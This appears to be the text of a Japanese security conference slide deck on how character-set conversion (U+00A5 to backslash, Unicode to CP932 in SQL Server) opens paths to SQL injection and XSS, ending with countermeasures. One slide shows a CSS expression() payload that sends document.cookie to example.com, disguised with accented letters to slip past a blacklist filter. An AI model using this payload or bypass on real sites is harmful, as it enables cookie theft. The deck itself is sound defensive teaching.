Unicode による XSS と SQL インジェクションの可能性 HASH サルティング株式会社 徳丸 浩
自己紹介
今日は漢字の人です
横浜で ちっちゃな会社 やってます
Web アプリが専門ですが、色々やります
WAF について書いたりしています
それでは始めます
本日のテーマは
文字コード
文字コードって何 ?
文字コード = 文字集合  +  文字エンコーディング
文字エンコーディングネタは結構ある 冗長な UTF-8 エンコーディング パストラバーサルなど 半端な先行バイトによる XSS UTF-7 による XSS Shift_JIS の 5C 問題 しかし
本日のテーマは
文字集合
文字集合って何 ? 文字通り,文字の集まり   もじもじ
この辺があやしい
特にやばそうなところ (*1) US-ASCII は 7 ビットのコードなので,最上位ビットを無視する結果, 0x25 すなわち「 % 」として扱われる (*2)  中黒(なかぐろ) 0x5C 0xA5 US-ASCII % (*1) JIS X 0201 ¥ ・   (*2) ISO-8859-1 ¥ Unicode ¥
文字集合を変換すると ?
多対一の変換が起こるかどうかは実装依存 ASP.NET 「 \ 」 U+00A5 -> ? Perl 「 \ 」  U+00A5 -> ? PHP 「 \ 」 U+00A5 ->  ¥  ( 全角 ) Java 「 \ 」 U+00A5 ->  (0x5C) 注目 10 万超の文字を変換して確認するだけの簡単なお仕事です
U+00A5 による SQL インジェクション (MySQL+JDBC) エスケープ( ' -> ' ' ) Unicode -> EUC-JP
U+00A5 による SQL インジェクション (MySQL+JDBC)
XSS はどうか ?
U+00A5 -> 0x5C  の変換による XSS はあり得る
が, JavaScript を動的生成する場合などに限られる
現実的に発生し得るが
そもそも JavaScript の動的生成ってどうよ orz
他にないのか ?
SQL Server の例 SQL Server が Unicode で列の値を保存するための条件 列の型を nchar , nvarchar にする (char , varchar はだめ ) 文字列リテラルを  N'....'  と記述する ('....'  ではだめ ) 上記を怠ると, Unicode->CP932 への変換が起こる
CP932 と断定していいのか ?
非 Unicode への変換が起こっていることは確かだが CP932 と 断定できない orz
SQL Server の例 SQL Server が Unicode で列の値を保存するための条件 列の型を nchar , nvarchar にする (char , varchar はだ め ) 文字列リテラルを  N'....'  と記述する ( '....'  ではだめ ) 上記を怠ると, Unicode->CP932 への変換が起こる っぽい 変換の例 è -> e é -> e ê -> e ë -> e
これをどう活用するか
か,活用かよ orz
悪影響の例 :CSS の XSS 対策
ブラックリスト
XSS 対策が回避されるパターン 元の入力 .main { color:  è xp ®éßßïòñ (document.location= ”http://example.com?”+document.cookie); } XSS 対策ルーチンを通るが è xp ®éßßïòñ はフィルタを回避される SQL Server に Insert 。その際に文字コード変換 .main { color: expRession(document.location= ”http://example.com?”+document.cookie); } CSS を使って表示すると, JavaScript が実行され Cookie 値が漏洩する はてなは EUC-JP だから大丈夫 ?  (SQL Server でもない )
対策 異なる文字集合への変換を極力しない どうしてもしなければならない場合もある wassr.jp のように, PC 向けは Unicode , 携帯電話向けは Shift_JIS の対応が必要なサイトなど その場合は…
対策 異なる文字集合への変換を極力しない どうしてもしなければならない場合もある wassr.jp のように, PC 向けは Unicode , 携帯電話向けは Shift_JIS の対応が必要なサイトなど その場合は… 続きは Web で ITpro Security  で
第 5 回~第 6 回の 5 回で文字コード説明します
ご清聴ありがとうございました

UnicodeによるXSSと SQLインジェクションの可能性